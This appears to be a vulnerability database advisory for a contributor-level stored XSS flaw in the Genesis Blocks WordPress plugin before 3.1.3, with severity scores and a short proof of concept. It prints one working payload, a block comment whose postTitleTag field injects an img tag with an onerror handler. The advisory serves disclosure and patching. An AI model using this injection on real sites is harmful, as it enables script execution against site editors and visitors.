Genesis Blocks < 3.1.3 - Contributor+ Stored XSS

2024-03-2900:00:00

Dmitrii Ignatyev

contributor

stored xss

code editor

previewing post

exploit

5.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.2%

JSON

Description The plugin does not properly escape data input provided to some of its blocks, allowing using with at least contributor privileges to conduct Stored XSS attacks.

As a contributor, put the below code in a post while in Code Editor mode

<!-- wp:genesis-blocks/gb-post-grid {"postTitleTag":"img src=x onerror=alert(/XSS-postTitleTag/) style=width:150px;","readMoreText":"Continue Reading"} /-->

The XSS will be triggered when viewing/previewing the post

References

research.cleantalk.org/cve-2024-2761/